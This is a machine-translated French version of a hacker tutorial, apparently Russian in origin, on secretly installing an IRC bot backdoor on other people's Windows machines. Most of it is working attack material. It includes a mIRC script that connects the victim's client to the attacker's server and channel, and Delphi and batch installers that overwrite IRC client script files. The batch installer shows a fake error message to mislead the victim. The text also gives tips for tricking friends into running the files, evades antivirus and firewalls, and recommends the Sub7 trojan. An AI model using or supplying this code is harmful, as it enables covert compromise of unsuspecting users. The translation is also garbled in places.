This page has been robot translated, sorry for typos if any. Original content here.

Nous accrochons le bot sur Windows.



1. Intro.
2. chevaux de Troie.
3. scripts mIRC.
I. écrire votre script porte dérobée
Ii. écrire sur delphi prog, ce qui introduira la porte dérobée dans le mIRC ennemi
Iii. Nous écrivons sur batch'ah prog, ce qui va insérer la porte dérobée dans l'ennemi mIRC
Iv. ingénierie sociale: on pousse le prog =)
4. Les deux manières en comparaison.
5. Comment se protéger
6. Outro.

1. De nos jours, parmi les propriétaires de chaînes populaires, il est devenu à la mode de suspendre un canal à une douzaine de robots issus de différents linux pour assurer, pour ainsi dire, la «sécurité des canaux». Bien sûr, je n’ai rien contre les gouttes d’œufs là-bas, mais comment être de simples utilisateurs mortels qui n’ont ni coquille, ni ss, ni connaissances (comme l’élite du canal # 31337 sur irc.dal.net.ru =)? Donc, dans cet article, je vais vous dire comment accrocher un bot sur une machine avec un système d'exploitation gagnant.
IMHO, il n'y a que deux façons de faire cela: Trojans et Trojans =) Commençons par la première.

2. Si vous étiez sur Internet (irc.msn.com) avant de le fermer, vous avez probablement réussi à profiter du nième nombre de bots sur les chaînes #russian_chat, #russian_girls, #russian_andybig, etc. Donc, ces robots sont loin des gouttes d’œufs. C'est, pour ainsi dire, Subsevens. Entendu parler d'un tel cheval? Sub7 est le seul cheval de Troie dans ma mémoire qui vous a permis de suspendre à distance un irc-bot (je n’ai pas utilisé de chevaux de Troie depuis longtemps, donc je ne sais pas s’il existe des analogues). Alors téléchargez Sub'a à partir d'ici et profitez-en. Ceux qui ne sont pas habitués à chercher des moyens faciles peuvent lire plus loin.

3. Les possibilités de mirc-scripts sont très impressionnantes. Écrire sur eux le même gi-scanner est une mince affaire, sans parler d'un simple bot. Par exemple, prenons le script WarSatan. Il est construit comme un "simple bot". Lorsque vous vous connectez à votre serveur irc préféré, le script connecte l'utilisateur invité au serveur irc.webchat.org et le transmet aux canaux #CHATOP, #MEKAH et #PANGKOR. C'est tout le mécanisme du travail. Notre tâche est d'écrire la même porte dérobée simple sous la forme d'un plugin mondial.
I. Je vais commenter les lignes les plus importantes.

on 1:CONNECT:{
;#открываем соединение с твоим irc cервером
.sockopen 31337 irc_сервер его_порт
}
on 1:DISCONNECT:{
;#при разрыве соединения убиваем сокет
.sockclose 31337
}
on 1:SOCKOPEN:31337:{
;#авторизуемся на irc-сервере
.sockwrite -n $sockname USER BOT "" "localhost" :Satanic bot
.sockwrite -n $sockname NICK ник_бота $+ $r(1,999)
;#заходим на твой канал
.sockwrite -n $sockname join твой_канал
}
on 1:SOCKREAD:31337:{
;#этот скрипт автоматически отвечает на серверный ping
;#без него сервер будет кидать бота, потому что тот не отвечает на пинги
.sockread %tmp
if ($gettok(%tmp,1,32) == ping) {
.sockwrite -n $sockname PONG $gettok(%tmp,2-,32)
}
}


Nous supprimons les commentaires, substituons nos valeurs, numérotons les lignes (il suffit de tout copier dans l'éditeur mIRC et de les sauvegarder - elles énuméreront tout) et enregistrerons le fichier control.dll résultant.
La porte dérobée est prête. Maintenant, il reste à l'insérer dans un autre script.ini.

Ii. Voici le code source de Delphi qui recherche le fichier script.ini sur la vis et, avec un résultat de recherche réussi, le remplace par le nôtre.

C'est important! Control.dll doit être conservé dans le même répertoire avec ce programme.

program Project1;

uses
SysUtils,
windows,
shellapi;


const search = 'script.ini'; //файл который нужно найти и заменить
replace = 'control.dll'; //файл, которым надо заменить, должен быть
// в том же месте откуда запуститься эта прога =)


var buf: array [0..255] of char;
fl: PChar;
flag:boolean = false;

//процедура замены файлов
procedure Change(where:pchar);

function CopyFile(FromFile, ToDir : string) : boolean; //функция копирования
var F : TShFileOpStruct;
begin
F.Wnd := 0; F.wFunc := FO_COPY;
FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION or FOF_SILENT;
{$I-}
result:=ShFileOperation(F) = 0;
{$I+}
end;

begin
DeleteFile(where);
CopyFile(replace,where)
end;


//процедура глоб. поиска
function Find(DirN: string):boolean;
var
tsr: TSearchRec;
Full: string;

begin
find:=false;
if FindFirst(DirN + '\*.*', faAnyFile, tsr) = 0 then
repeat
if (tsr.Name = '.') or (tsr.Name = '..') then continue;
Full:= DirN + '\' + tsr.Name;
if tsr.Attr = faDirectory then //если каталог
Find(Full);
until (FindNext(tsr) <>0)or(tsr.Name = search)or flag;

if tsr.Name = search //если нашли
then begin
find:=true;
flag:=true;
Change(pchar(DirN+'\'+tsr.Name));
end;

end;


//Основной блок программы
begin
if SearchPath(nil,search,nil,sizeof(buf),buf,fl)>0 then
Change(buf)
else
begin
Find('c:');
// если надо и на других дисках искать то можешь сделать так:
// if Not Find('c:') then
// if Not Find('d:') then
// if Not Find('e:') then
//etc....
end;

end.


Iii. Si vous ne faites pas partie de la famille de codage et que vous êtes jeté dans la levure par le mot "compilateur", écrivons un tel programme par lots.

echo off
cls
if exist mirc.ini goto in_the_same_dir
if exist c:\mirc\MIRC.INI set mirc=c:\mirc
if exist c:\mirc\mirc\MIRC.INI set mirc=c:\mirc\mirc
if exist c:\irc\MIRC.INI set mirc=c:\irc
if exist c:\irc\mirc\MIRC.INI set mirc=c:\irc\mirc
if exist c:\chat\mirc\MIRC.INI set mirc=c:\chat\mirc
if exist c:\chat\MIRC.INI set mirc=c:\chat
if exist c:\progra~1\mirc\MIRC.INI set mirc=c:\progra~1\mirc
if exist c:\chat\looksharp\MIRC.INI set look=c:\chat\looksharp
if exist c:\mirc\looksharp\MIRC.INI set look=c:\mirc\looksharp
if exist c:\irc\looksharp\MIRC.INI set look=c:\irc\looksharp
if exist c:\progra~1\looksharp\MIRC.INI set look=c:\progra~1\looksharp
if exist c:\progra~1\trion\MIRC.INI set neo=c:\progra~1\trion
if exist c:\progra~1\neo-ra\MIRC.INI set neo=c:\progra~1\neo-ra
if exist c:\progra~1\NeoRa\Trion\MIRC.INI set neo=c:\progra~1\NeoRa\Trion
if exist c:\progra~1\NeoRa\MIRC.INI set neo=c:\progra~1\NeoRa
if exist c:\chat\NeoRa\MIRC.INI set neo=c:\chat\NeoRa
if exist c:\irc\NeoRa\MIRC.INI set neo=c:\irc\NeoRa
if exist c:\chat\neo-ra\MIRC.INI set neo=c:\chat\neo-ra
if exist c:\irc\neo-ra\MIRC.INI set neo=c:\irc\neo-ra
if exist c:\chat\Trion\MIRC.INI set neo=c:\chat\Trion
if exist c:\irc\Trion\MIRC.INI set neo=c:\irc\Trion
if exist c:\Trion\MIRC.INI set neo=c:\Trion
if exist c:\NeoRa\MIRC.INI set neo=c:\NeoRa
if exist c:\Neo-ra\MIRC.INI set neo=c:\Neo-ra
if exist d:\chat\NeoRa\MIRC.INI set neo_here=d:\chat\NeoRa
if exist d:\irc\NeoRa\MIRC.INI set neo_here=d:\irc\NeoRa
if exist d:\chat\neo-ra\MIRC.INI set neo_here=d:\chat\neo-ra
if exist d:\irc\neo-ra\MIRC.INI set neo_here=d:\irc\neo-ra
if exist d:\chat\Trion\MIRC.INI set neo_here=d:\chat\Trion
if exist d:\irc\Trion\MIRC.INI set neo_here=d:\irc\Trion
if exist d:\Trion\MIRC.INI set neo=d:\Trion
if exist d:\NeoRa\MIRC.INI set neo=d:\NeoRa
if exist d:\Neo-ra\MIRC.INI set neo=d:\Neo-ra
if exist d:\mirc\MIRC.INI set mirc=d:\mirc
if exist d:\mirc\mirc\MIRC.INI set mirc=d:\mirc\mirc
if exist d:\irc\MIRC.INI set mirc=d:\irc
if exist d:\irc\mirc\MIRC.INI set mirc=d:\irc\mirc
if exist d:\chat\mirc\MIRC.INI set mirc=d:\chat\mirc
if exist d:\chat\MIRC.INI set mirc=d:\chat
if exist d:\looksharp\MIRC.INI set look=d:\looksharp
if exist d:\chat\looksharp\MIRC.INI set look=d:\chat\looksharp
if exist d:\mirc\looksharp\MIRC.INI set look=d:\mirc\looksharp
if exist d:\irc\looksharp\MIRC.INI set look=d:\irc\looksharp
if "%mirc%"=="" goto no_mirc
deltree /y %mirc%\script.ini
copy control.dll %mirc%\script.ini
cls
:no_mirc
if "%look%"=="" goto no_look
deltree /y %look%\System\lookevents04.sys
copy control.dll %look%\System\lookevents04.sys
cls
:no_look
if "%neo%"=="" goto end
deltree /y %neo%\root\trionscr7.ini
copy control.dll %neo%\root\trionscr7.ini
cls
goto end
:in_the_same_dir
deltree /y script.ini
copy control.dll script.ini
:end
echo Your Microsoft Windows is not correctly installed.
echo Pleas re-install it and try again

Ce canoë au hasard cherche mIRC, NeoRa Trion et Looksharp. La probabilité de trouver est plutôt insignifiante, il est donc souhaitable de persuader le sujet de placer ce fichier avec control.dll dans le même répertoire que son client irc. En cas de résultat de recherche réussi, le fichier remplace le script.ini étranger par notre control.dll.
Convertis cette bat'nik en exe'shnik par une bat2exec'om et tu pourras pousser tes amis.

Iv. Je pense que ce n’est pas à moi de vous dire comment "pousser" quelqu'un vers un exe. Je veux juste souligner une caractéristique. Admettez-le, s'il vous plaît, lancez la suspicion de l'utilisateur de votre exe même de l'utilisateur le plus proche. Donc, vous pouvez aller dans l'autre sens. Pour ce faire, revenez au point I. NE PAS NUMBER les lignes du script, il suffit de le mettre dans le fichier joke.mrc. Tous Maintenant, distribuez-le à vos amis avec les mots: mettez-le dans le répertoire de votre petit monde, entrez "/ load -rs joke.mrc" dans sa console et profitez de tous les plaisirs du plugin =)

4. Quel est le meilleur moyen de remplacer script.ini?
1) non détecté par l'antivirus
2) pas attrapé FairWall'ami. Je pense que beaucoup commenceront immédiatement à dire de vive voix que ZoneAlarm et AtGuard les protégeront de cette situation. Je leur explique la particularité: si le mIRC de ces deux pare-feu est enregistré en tant que serveur autorisé \ client, le fv ne sera même pas ébloui lors de l’ouverture de la connexion avec une porte dérobée.
3) il est difficile de détecter / tuer même un utilisateur expérimenté.

5. Eh bien, maintenant sur la façon de se défendre. Encore une fois, je ne considérerai pas le chemin avec Sub7'om (car avec lui tout est clair: AVP + ZoneAlarm), je vais immédiatement passer à la seconde.
Pour détecter la porte dérobée du script, vous devez utiliser une sorte de plug-in mIRC comme IPSearch, qui permet de rechercher sur le serveur l'utilisateur possédant la même interface utilisateur que la vôtre. S'il y en a un, quelqu'un vous a sûrement accroché un bot. Si ce n'est pas trouvé, alors soit le bot sur un autre serveur, soit vous êtes propre.
De plus, pour détecter un bot, vous pouvez utiliser le même ZAlarm: pour le moment, les plus gros serveurs IRC vérifient la présence de proxy dans tous les clients. En quoi? Balayage de port simple. Donc, si vous vous connectez au serveur irc.some.com, et que les ports de l’affaire sont scannés par un certain irc.lame.com, cela vaut la peine de réfléchir ...
Comment tuer la porte dérobée? Si vous ne comprenez pas les scripts, réinstallez simplement le client irc.

6. Que peut-on dire à la fin? N'utilisez pas de scripts inconnus et ne forcez pas les autres à le faire =)